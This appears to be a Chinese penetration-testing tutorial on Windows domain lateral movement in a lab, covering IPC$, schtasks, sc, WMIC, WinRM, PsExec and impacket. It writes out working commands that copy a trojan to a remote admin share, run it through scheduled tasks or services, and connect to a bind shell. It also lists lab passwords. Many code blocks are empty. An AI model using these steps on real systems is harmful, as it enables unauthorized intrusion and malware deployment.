横向移动基础篇
横向移动
linux、windows移动
环境:

思路&流程:获取webserver的webshell进入内网域,cs上线webserver,信息收集,端口扫描(判断目标域内主机),密码凭证(cs插件)、木马上传、木马移动
用户
| DC | !@#qazwsx0 | 192.168.41.10 |
|---|---|---|
| yf1 | !@#qazwsx1 | 192.168.41.10 |
| yf2 | !@#qazwsx2 | 192.168.41.10 |
| yf3 | !@#qazwsx3 | 192.168.41.10 |
| yf4 | !@#qazwsx4 | 192.168.41.10 |
| yf5 | !@#qazwsx5 | 192.168.41.10 |

基础信息收集
判断域环境:shell ipconfig /all

ping获取DC的IP:shell ping yf.com

通过c端的端口扫描,扫出存活主机:

在目标列表查看

工具篇
1、IPC$
IPC$是共享”命名管道”的资源,他是为了让进程间通信而开放的命令管道,通过提供就信任的用户名和命令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对计算机的访问。
利用IPC$,连接者和目标主机利用建立的连接可以得到目标i主机上的目录结构、用户列表等信息。
使用条件
- 开放139、445端口
IPC$可以实现远程登录及对默认共享的访问,而139端口的开启则表示netbios协议(用于局域网(LAN)中的计算机之间进行通信的应用层协议)的应用,我们可以通过139、445端口来实现对共享文件/打印机的访问,因此一般来说,IPC$连接是需要139或445端口来支持的。
IPC$连接一般走445端口,不通的话走139端口
- 目标开启了IPC$文件共享服务及默认开启的共享
默认共享是为了方便管理员的远程管理而默认开启的
默认共享包括:所有逻辑磁盘(C:、D:、E:)和系统目录WINNT、WINDOWS(ADMIN$)。IPC连接则可以实现对这些默认的共享的访问。
可以通过命令 net share 命令来查看共享情况

- 需要目标机的管理员账号和密码
默认只有被添加到远程计算机管理员组的域用户才有权限对admin$目录建立IPC连接,且处于安全考虑,默认情况下本地Administrator会被禁用(本地都无法使用Administrator),只有重新启用本地Administrator用户,才能通过本地Administrator来建立IPC$连接
常用命令
1 | |
IPC$连接报错兼原因
1 | |
IPC+AT+Schtasks
AT简介
AT命令可在指定时间和日期、在指定计算机上运行命令和程序,用于运行我们的木马。且只适用于windows server 2012等之前的老版本。
利用
1 | |
注意项
问题:执行at命令时,显示绑定句柄无效。
解决:echo 192.168.41.10 RemoteHost > C:\Windows\System32\drivers\etc\hosts
AT命令在windows server 2012等新版系统中已被弃用
AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler服务
Schtasks简介
用于windows server 2012及其之后的系统,命令允许管理员创建、删除、查询、更改、终止本地或远程系统的上的计划任务。
1 | |
利用
1 | |
IPC实操
1、凭证获取

不一定能抓取到,抓取的规则一般是:其他主机远程连接的痕迹遗留之类的

2、连接域控
方式一:直接用命令:shell net use \192.168.41.10\ipc$ “!@#qazwsx258” /user:yf.com\administrator
方式二:cs插件实现
shell net use 显示成功连接
在跳板机上部署正向连接木马bind_tcp,监听本地2222端口

3、转移木马(正向木马)
shell copy 2.exe \192.168.41.10\c$

进一步验证,成功移动:dir \192.168.41.10\C$

4.1、打定时任务运行
schtasks /S 192.168.41.10 /U administrator /P !@#qazwsx258 /Create /TN test /TR ‘c:\2.exe’ /SC once /ST 16:02 /F 时间自定义,时间一过自动执行

4.2、未设置具体时间的定时任务
schtasks /S 192.168.41.10 /U administrator /P !@#qazwsx258 /Create /TN test /TR ‘c:\2.exe’ /SC DAILY /F 设置一个待运行的定时任务

schtasks /S 192.168.41.10 /U administrator /P !@#qazwsx258 /Run /TN test #运行test任务

5、查看定时任务
chcp 65001 #修改编码,方便后面查看任务
schtasks /S 192.168.41.10 /U administrator /P !@#qazwsx258 /Query /TN test /V #查看任务
注:有时候能查看不到任务,我们可以用之前的创建任务成功或者直接运行任务来确认,如下

6、待定时任务运行后连接
connect 192.168.41.10 2222,上线

7、删除定时任务
schtasks /delete /tn test /s 192.168.41.10 /u administrator /p !@#qazwsx258 /F

IPC+SC
sc简介
sc 是 Windows 的服务控制命令,用于创建、配置、管理、注册、删除和查询系统服务。
SC详细命令:https://www.cnblogs.com/cnsend/p/12907229.html
SC远程注册服务
1 | |
实操
sc \192.168.41.10 create test binpath= “c:\2.exe” obj= “yf.com\administrator” password= “!@#qazwsx258”

sc \192.168.41.10 start test
sc \192.168.41.10 stop test
sc \192.168.41.10 delete test
不过不知道哪里出问题了

查看成功创建的服务

注意:设置选项的每个’=’后面都要有一个空格
具体原因没有找到,试了其他命令,也还是没有办法
2、WMIC
WMIC(Windows Management Instrumentation Windows 管理规范)是用户管理本地和远程计算机的一个命令行模型。通过它可以访问、配置、管理、监视几乎所有的Windows资源。WMI的语法基本上和常见的命名空间、对象等用得几乎一摸一样,他对应Windows里的WMI服务(winmgmt)。
该服务存在于win 2000之后。WMIWMI使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM中使用类表示管理对象,命名空间是一个类的集合。
通过使用135端口上的远程过程调用(RPC)进行通信进而进行远程访问,而WMIC是为WMI提供的命令行界面。

命令利用条件
- Windows Management Instrumentation 服务开启,端口TCP 135,默认开启
- 防火墙允许135、445等端口通信
利用方法
- 查询进程信息
1 | |
WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,并且执行指令、运行程序会隐性执行、运行,不会在桌面出现弹窗,如下
1 | |
- 利用create创建进程
1 | |

隐性运行木马
1 | |
如果出现User credentials cannot be used for local connections,应该是调用calc.exe程序权限不
够的问题
如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断
WMI服务被禁用
wmic命令缺点是没有回显,可以使用wmiexec.vbs脚本实现回显。
- 下载远程文件并执行
1 | |
3、WinRM
注:出网机设置为Win10系统,win等其他机器的自带工具的版本会给实验带来不便。
winRM是一种WIndows系统中的远程管理服务,它通过WS-Management协议进行远程管理和脚本执行。该服务的端口默认为5985(HTTP)、5986(HTTPS,要配置证书)。在windows server 2012及其之后的版本都是默认启用的,不过还是要手动配置TrustedHosts(信任主机名单)、身份验证和防火墙规则。
利用条件
在双方都开启WinRM服务的时候,跳板机需要将目标机器的 IP 地址或主机名添加到 TrustedHosts 列表中,以便能够进行身份验证和连接。如果没有将目标机加入 TrustedHosts 列表,跳板机将无法通过 IP 地址进行连接目标。(域用户可以不是加入TrustedHosts列表,也能连接)
配置实验环境
1、开启WinRM
- 判断本地是否开启WinRM服务
1 | |

WinRM 服务在当前网络配置下无法运行,因为网络连接类型被设置为“公用”,而 WinRM 防火墙例外只适用于“专用”或“域”网络。使用Powershell5及其以上版本的命令来修改连接
1 | |

1 | |

再次开启winRM
1 | |

1 | |

- 判断目标主机是否开启WinRM
直接通过端口扫描,探查出目标机可能使用WinRM服务

Winrs执行命令
WinRS(Windows Remote Shell)是基于 WinRM(Windows 远程管理服务)的一种远程命令执行工具,它允许你在远程 Windows 计算机上执行命令。
ipconfig
1 | |

远程下载木马(此处用的正向)(要在跳板机上搭建一个IISweb服务)
1 | |
WinRm横向移动
- 利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
1 | |
命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程
- 在远程主机上打开进程
1 | |


- 在远程主机上创建服务
1 | |

- 在远程机器上启动服务
1 | |

注:如果返回值为23,可以利用下面命令删除服务,再重新创建并运行即可

1 | |
然后直接连接即可

横向移动外部工具篇
Psexec
Psexec简介
PsExec是telnet的轻量替代品,可以让你在其他主机上执行进程。并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。
Psexec原理&流程使用
ips$把Psexesvc.exe安装到目标机- 通过服务管理 OpenSCManager 打开受害者机器上服务控制管理器的句柄
- 通过CreateService创建服务
- 获取服务句柄 OpenService 使用 StartService 启动服务
Psexec使用前提
- 对方主机开启了admin$共享,如果关闭了 admin$ 共享,会提示:找不到网络名
- 对方未开启防火墙
- 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机上面创建并启动服
务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。 - 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
Psexec.exe使用
1、直接使用
如果出现找不到网络名,判断目标主机已禁用ADMIN$共享,且第一次运行会弹框,输入 –accepteula 这个参数就可以绕
1 | |
2、建立IPC后使用
1 | |
使用手册:重要参数
1 | |
3、CS自带PSexec
1 | |
Psexec.py的使用
impacket套件中的Psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性
为了惊扰机器,我们可以通过代理技术,在本地直接用工具测试
交互式命令行
1 | |

直接执行命令
1 | |
cs使用
1 | |
Smbexec.py
impacket套件
smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。
445端口
1 | |
